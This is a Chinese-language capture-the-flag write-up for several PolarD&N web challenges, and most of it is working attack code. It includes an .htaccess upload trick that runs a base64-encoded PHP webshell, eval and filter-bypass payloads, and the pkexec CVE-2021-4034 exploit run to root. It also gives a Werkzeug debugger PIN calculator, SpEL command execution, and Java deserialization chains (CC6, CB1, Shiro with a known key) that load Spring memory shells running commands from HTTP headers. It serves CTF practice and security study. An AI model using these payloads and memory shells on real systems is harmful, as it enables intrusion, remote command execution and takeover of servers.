上传

解法挺多的,一开始是发现.htaccess没有被禁止,而且<?被禁了。于是想到了尝试使用.htaccess和无<?马来getshell

1
2
3
4
5
//a.png
<script language="php">eval ($_POST[hihack]);</script>

//.htaccess
AddType application/x-httpd-php .png

结果发现不行,直接通过.htaccess来使用php解释器来执行png文件,运行<script language="php">eval ($_POST[hihack]);</script>语法好像出现了问题
与 .htaccess 相关的奇淫技巧
发现可以使用.htaccess来文件包含和使用伪协议来命令执行,但是这个需要有php文件,且尝试发现无法目录穿越问题不大,简单将两个拼在一起即可
file被禁可以使用\加换行符来过滤

文件读取

1
2
3
AddType application/x-httpd-php .png
php_value auto_prepend_fi\
le /flag

getshell

1
2
3
4
5
6
//a.png
PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

//
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.png"

PHP是世界上最好的语言

php trick可以覆盖_POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");

}
}
}
?>

1
2
3
4
http://3a1757ad-ac0d-4ea8-946c-e1e72eb70ab1.www.polarctf.com:8090/?_POST[flag1]=8gen1&_POST[flag2]=8gen1


504[SYS.COM=asd&sys=echo $flag;

非常好绕的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
# -*- coding: utf-8 -*-
# @Author: ShawRoot
# @Date: 2022-07-21 08:42:23
# @link: https://shawroot.cc

highlight_file(__FILE__);
$args1 = $_GET['args1'];
$args2 = $_GET['args2'];
$args3 = $_GET['args3'];
$evil = $args1.'('.$args2.')('.$args3.')'.';';
$blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil))
{
echo "<br>".$evil."<br>";
eval($evil);
}

?>

直接
hex2bin("73797374656d")('cat<flaggg');即可

payload

1
?args1=hex2bin&args2='73797374656d'&args3='cat<flagggg'

又一个文件上传

发现可以直接上传php文件,但是flag需要root权限要提权

1
find / -user root -perm -4000 -print 2>/dev/null

可以发现pkexec这个软件在版本低于0.120时存在提权漏洞

https://github.com/berdav/CVE-2021-4034

1
2
3
4
5
6
7
8
9
10
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

因为需要交互式终端但是我简单尝试了一下shell弹不出去,那就只好用哥斯拉的超级终端了

网站被黑

hint的字符串base32解码


访问路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);

$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>

file_get_contents($text,’r’)可以直接用data://协议
1
text=data://text/plain,welcome to the 504sys

其中禁了base可以实验双重url编码绕过,读取imposible.php
1
http://9a9bf51f-227f-4068-9b7c-70fd65b90763.www.polarctf.com:8090/n0_0ne_f1nd_m3/?file=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=imposible.php&text=data://text/plain,welcome to the 504sys

flask_pin

低版本Werkzeug1.x算pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# MD5
import hashlib
from itertools import chain

probably_public_bits = [
'root' # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485376923316', # str(uuid.getnode()), /sys/class/net/ens33/address
'c31eea55a29431535ff01de94bdcf5cf49eb739d284e676bf308f25de7a2fcfa2cd231ceed251574b1ce8ffce528686b' # get_machine_id(), #/etc/machine-id + /proc/self/cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

ez_java

很明显SPEL注入
尝试弹shell发现弹不出去,于是尝试直接回显,因为SPEL其实本地就是会回显的,我们只需要使用BufferedReader或者Scanner来读取命令执行的结果即可。将器输出流进行读取,BufferedReader只回显一行,Scanner可以多行

1
2
3
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/sh", "-c", "whoami").start().getInputStream(), "GBK")).readLine()

new java.util.Scanner(new java.lang.ProcessBuilder("/bin/sh", "-c", "whoami").start().getInputStream(), "GBK").useDelimiter("\\A").next()

PHP_Deserialization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

/*

PolarD&N CTF

*/

class Polar
{
public $night;
public $night_arg;

public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}

}

class Night
{
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}

class Day
{
public $filename="/flaflagg";

public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}

$a=new Polar();
$a->night=new Night();
$a->night_arg=new Day();
echo base64_encode(serialize($a));

Polar{__wakeup}->Night{__call}->Day{__toString}

Unserialize_Escape

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function filter($string){
return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}

反序列化逃逸,x会变成yy

1
xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}

20个x变成40个y使得后门的20给被挤出变为反序列化语句

phar

不知道为什么取phar,根本没用phar嘞

1
2
3
4
5
6
7
8
9
10
<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
if (myWaf($_GET['file'])) {
include($_GET['file']);
} else {
unserialize($_GET['data']);
}
}

php://filter/convert.base64-encode/resource=funs.php
读一下funs.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}

class A
{
private $a;

public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}

class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}

可以明显的发现var_dump可以变量覆盖读取flag,因为都是private所以直接用__construct来赋值
exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}

class A
{
private $a;
public function __construct()
{
$this->a=new B();
}

public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}

class B
{
private $b = array();
public function __construct()
{
$this->b=array("kfc"=>new C());
}
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array("vm50"=>"flag");

public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
$a=new A();
echo urlencode(serialize($a));
echo "\n";

CC链

commons-collections版本为3.1直接打cc链
直接cc6打spring-boot回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6_noArray {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}
public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getTemplates()throws Exception{
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\Memshell.class"));
byte[][] codes={code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}
public static void main(String[] args) throws Exception {

TemplatesImpl templates=(TemplatesImpl) getTemplates();

Transformer transformer = new InvokerTransformer("toString", null, null);

Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map, transformer);

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,templates);

HashMap<Object,Object> ser_map=new HashMap();
ser_map.put(tiedMapEntry,"value");

Field iMethodName=transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

lazyMap.remove(templates);

Serializ(ser_map);
//Unserializ("ser.bin");
}
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Memshell extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("LSE")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("LSE")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

PolarOA

可以发现其为shiro框架,用工具扫一下

可以爆破到key但是没有利用链
抓个包看看

直接400给拦截了

其对cookie的字符数进行了限制
工具的内存马无法使用主要是因为导入了很多无用包导致了字符过多,那么我们可以尝试使用javassist来写内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
//DynamicClassGenerator.java
package CB;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class DynamicClassGenerator {
public CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");

if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
" try {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
"\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\", te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if (tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"cmd.exe\", \"/c\", tc}; \n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
"\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }", clazz));

// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");

if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
" try {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
"\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\", te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if (tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"/bin/sh\", \"-c\", tc};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
"\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }\n" +
" }", clazz));

// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
}

//CB1_shiro


package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1_shiro {


public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}

public static byte[] Serializbyte(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
return bos.toByteArray();
}

public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates(byte[][] codes)throws Exception{

TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}

public byte[] getPayload() throws Exception {
DynamicClassGenerator classGenerator =new DynamicClassGenerator();
CtClass clz = classGenerator.genPayloadForLinux();
byte[][] codes={clz.toBytecode()};
TemplatesImpl tpl=(TemplatesImpl) getTemplates(codes);
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

PriorityQueue priorityQueue=new PriorityQueue(2,comparator);
priorityQueue.add("1");
priorityQueue.add("1");
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
return Serializbyte(priorityQueue);

}
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes={code};
TemplatesImpl tpl=(TemplatesImpl) getTemplates(codes);
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
Serializ(priorityQueue);
Unserializ("Ser.bin");


}



}


//shiro.java


package shiro;
import CB.CB1_shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class shiro {
public static void main(String []args) throws Exception {
byte[] payloads = new CB1_shiro().getPayload();

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

CB链

我们看pom可以知道其有commons-beanuitls依赖

直接打CB链即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package CB;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos=new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos=new ObjectOutputStream(bos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
}


public static Object Unserializ(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getTemplates()throws Exception{

byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\Memshell.class"));
byte[][] codes={code};
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",codes);

setValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;

}
public static void main(String[] args) throws Exception {
TemplatesImpl tpl=(TemplatesImpl) getTemplates();
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue=new PriorityQueue(comparator);
priorityQueue.add(1);
priorityQueue.add(1);
setValue(priorityQueue,"queue",new Object[]{tpl,tpl});
setValue(comparator,"property","outputProperties");
Serializ(priorityQueue);
Unserializ("Ser.bin");


}
}

因为无回显所有我们加载spring回显的内存马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.request.RequestAttributes;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

public class Memshell extends AbstractTranslet {
public Memshell() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();
HttpServletRequest httprequest = ((ServletRequestAttributes)requestAttributes).getRequest();
HttpServletResponse httpresponse = ((ServletRequestAttributes)requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", httprequest.getHeader("LSE")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("LSE")};
byte[] result = new byte[0];

IOException e;
try {
result = (new Scanner((new ProcessBuilder(cmd)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
} catch (IOException var9) {
e = var9;
throw new RuntimeException(e);
}

try {
httpresponse.getWriter().write(new String(result));
} catch (IOException var8) {
e = var8;
throw new RuntimeException(e);
}

try {
httpresponse.getWriter().flush();
} catch (IOException var7) {
e = var7;
throw new RuntimeException(e);
}

try {
httpresponse.getWriter().close();
} catch (IOException var6) {
e = var6;
throw new RuntimeException(e);
}
}
}


FastJsonBCEL

只有一个反序列的入口

题目是不出网的,可以看到一个dbcp
那么应该就是fastjson打dbcp了
这里可以直接使用p牛的java-chains项目来梭


当然梭漏洞还是太无趣了,这里我把漏洞复现过程放到这个文章下
fastjson&&snakeYAML不出网利用